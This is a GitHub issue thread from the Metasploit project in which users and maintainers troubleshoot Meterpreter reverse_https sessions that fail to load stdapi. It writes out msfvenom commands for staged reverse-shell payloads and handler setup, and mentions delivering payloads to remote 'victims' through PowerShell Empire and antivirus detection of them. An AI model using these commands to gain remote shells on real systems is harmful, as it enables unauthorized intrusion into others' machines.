Unable to load second stage

[bkr32]

Steps to reproduce

How'd you do it?

1. reverse_https payload is executed on victims computer
2. victim connects back with initial shell
3. stdapi is unable to load even manually giving the error Failed to load extension: No response was received to the core_enumextcmd request.
4. session dies

This section should also tell us any relevant information about the environment; for example, if an exploit that used to work is failing, tell us the victim operating system and service versions.

Expected behavior

stdapi should load correctly giving a full session

Current behavior What happens instead?

stdapi is unable to load even manually giving the error Failed to load extension: No response was received to the core_enumextcmd request.

side note, it works on some victims and others throw this error

/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1182:in `each'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1182:in `cmd_load'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:105:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:68:in `block in interact'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:196:in `run'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:66:in `interact'
/usr/share/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:567:in `_interact'
/usr/share/metasploit-framework/lib/rex/ui/interactive.rb:49:in `interact'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1380:in `cmd_sessions'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:48:in `<main>'
[01/04/2018 11:35:43] [w(0)] core: Exception in scheduler thread Rex::TimeoutError Operation timed out.

System stuff

Metasploit version

Framework: 4.16.26-dev

I installed Metasploit with:

• [* ] Kali package via apt
• [ ] Omnibus installer (nightly)
• [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
• [ ] Source install (please specify ruby version)

OS

kali 2017.2

[timwr]

Can you include a longer log? How are you generating the payload (and which payload is it?!?!) and how are you launching the handler?

[bkr32]

i'm using Invoke-shellcode from powershell empire, using its ps1 version to one line a payload the payload i'm using and have been using for a number of machines is reverse_https i'm launching the handler manually, on msfconsole,

multi/handler
payload windows/meterpreter/reverse_https
lport
lhost
exitonsession false

attached log log.txt

[OJ]

What values are you using for lhost and lport?

On 4 Jan. 2018 19:58, "bkr32" notifications@github.com wrote:

i'm using Invoke-shellcode from powershell empire, using its ps1 version to one line a payload the payload i'm using and have been using for a number of machines is reverse_https i'm launching the handler manually, on msfconsole,

multi/handler payload windows/meterpreter/reverse_https lport lhost exitonsession false

attached log log.txt https://github.com/rapid7/metasploit-framework/files/1602980/log.txt

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9371#issuecomment-355242301, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4NOsCuDhP9yA2DbgDKB8hflVHQKbks5tHKCtgaJpZM4RSt16 .

[bkr32]

@OJ 80 for lport and the ip address of the machine i'm using (since the victim's machine is remote, port forwarding etc)

[OJ]

Cool thanks. Just wanted to make sure lhost was routable 👍

On 4 Jan. 2018 20:26, "bkr32" notifications@github.com wrote:

@OJ https://github.com/oj 80 for lport and the ip address of the machine i'm using (since the victim's machine is remote, port forwarding etc)

— You are receiving this because you were mentioned.

Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9371#issuecomment-355248040, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4DMOnD4rFYqAlP3o6d0crTINkIkHks5tHKc9gaJpZM4RSt16 .

[bkr32]

yeah it is, this issue popped up some months ago when some sessions would load stdapi and some wouldn't, now i have machines that simply don't load it at all

[bkr32]

Update, all previously working reverse_https sessions don't load second stage once sent Staging x86 payload does occur but stdapi or any other command doesn't run this includes machines it was previously working on. still sends the stage on my local test machine

[busterb]

@bwatters-r7 can you repro this?

[theguly]

to me also payload created with msfvenom and generate -f in msfconsole don't work anymore

[busterb]

What's your target OS @theguly ? And your commandline? And what version of Metasploit are you using? Those all sound pretty bad so would love to get to the bottom of it.

[bwatters-r7]

Here's x64 reverse_https on Windows:

Payloads created with commands like this: ./msfvenom -p windows/x64/meterpreter/reverse_https -f exe -o windows-x64-meterpreter-reverse_https-192x168x134x119-30001.exe LHOST=192.168.135.112 LPORT=30001

[bwatters-r7]

x86 Payload, same method:

[theguly]

@busterb centos7 and kali rolling msf 4.16.31 via msfinstaller, and msf 4.16.28 via kali repo. clients are windows10 (physical) and windows7 (virtual, on vmware fusion) both 64bit

msfvenom -p windows/meterpreter/reverse_https LHOST=myhost LPORT=1443 -f exe > msfvenom.exe

and on msfconsole: use payload/windows/meterpreter/reverse_https set LHOST set LPORT (eventually set LURI that will match multi/handler) generate -t exe -f /tmp/myfile.exe then use exploit/multi/handler set payload windows/meterpreter/reverse_https set ExitOnSession false set LHOST/LPORT/LURI exploit -j -z

using tcpdump i see that the handler complete the http reply to client's get to deliver second stage.

[bkr32]

Update 2: issue persists even outside target network (where most devices are)

[busterb]

Hmm, can you try stageless? (meterpreter_reverse_https) ? I'd like to narrow it down to an issue actually loading the stage, or an issue with the initial callback after loading the stage.

Are you running fully-patched Windows 10 by any chance?

[bkr32]

@busterb strangely enough my local machine for personal use is windows 10 fully patched with windows defender active, it's able to load stdapi the other machines are on 7,8 the issue originally started about 4 months ago, a machine (windows 7) that would always establish a session started failing to load stdapi on each connect back (the payload is executed multiple times per hour) some sessions were fully functional while others were limited. another machine (windows 8) would successfully get a session each time. there was another machine that would load a session without stdapi but after running load stdapi it would work the very last machines i ran the payload on both had the behavior described above, and starting this month all of them. a few extra notes, the payload hits a dns that points back to my external ip address both are confirmed to be working.

and by stageless do you mean the payload or handler? to get a stageless payload on those machines right now would be a challenge

[theguly]

to me stageless works on both win7 and win10 (both fully patched).

[busterb]

I think there may be something in the latest Windows updates that blocks reflective DLL injection, or so I thought I read. Not seeing it locally, but I also have an atypical setup. Might have to do some research on something more commodity.

[bkr32]

@busterb tried it on my local machine again, windows defender catches it powersploit.a details: amsi: PowerShell_C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe_10.0.16299.150000000000000003 *immediately command is run, haven't even gotten it as a victim in msf

[OJ]

If RDI was being blocked then stageless payloads wouldn't work, they load metsrv (and any other baked in extensions) before communications with Metasploit is established.

On 13 Jan. 2018 05:12, "bkr32" notifications@github.com wrote:

@busterb https://github.com/busterb tried it on my local machine again, windows defender catches it powersploit.a details: amsi: PowerShell_C:\WINDOWS\system32\WindowsPowerShell\v1. 0\powershell.exe_10.0.16299.150000000000000003 *immediately command is run, haven't even gotten it as a victim in msf

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9371#issuecomment-357319276, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4FUSKDVbWLmIk0OXxzWqTwoSKXs8ks5tJ63ogaJpZM4RSt16 .

[busterb]

Great point @OJ. Should we characterize this issue as: AV is starting to pick up on and block this payload when loaded via powershell ?

I've seen Vyrus mentioning powershell RDI issues recently, the latest: https://twitter.com/vyrus001/status/951663437876158464

[OJ]

I think there's a little more to it, but that might be a good starting point. I'll hop on IRC to chat about it later today. Had a play with this recently.

On 13 Jan. 2018 08:04, "Brent Cook" notifications@github.com wrote:

Great point @OJ https://github.com/oj. Should we characterize this issue as: AV is starting to pick up on and block this payload when loaded via powershell ?

I've seen Vyrus mentioning powershell RDI issues recently, the latest: https://twitter.com/vyrus001/status/951663437876158464

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9371#issuecomment-357367316, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4IhV_0Xy8O-jUxebSQrHeF_T79STks5tJ9cIgaJpZM4RSt16 .

[bkr32]

Failed to load client script file: /opt/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
[-] Failed to load client script file: /opt/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb

[busterb]

What did you type before this output @bkr32 ? It looks like you tried to load a random piece of the metasploit UI as a meterpreter script, which definitely won't do what you want. Your comment needs more context.

[bkr32]

@busterb sorry about that was in a bit of a rush, it seems reverse_https is working locally, same lan, but external connections are still not loading stdapi as for the above i had a machine connect last night before i shut down and upon starting msfconsole today i got the message

[bkr32]

coming back to this issue, i tried msf from a old bootable and metasploit v4.16.2-dev works loads stdapi successfully @OJ @busterb

4.15.0 branch is also working

[fsacer]

@wvu-r7 this issue seems to have been resolved

[WildanMuhammadGibran]

Failed to load client script file: /opt/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
[-] Failed to load client script file: /opt/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb

Same with me , have you done this ?

[adfoster-r7]

@WildanMuhammadGibran This is quite an old issue that appears to have been fixed. Could you raise a new bug report if you're running into difficulties - thanks! :+1:

https://github.com/rapid7/metasploit-framework/issues/new/choose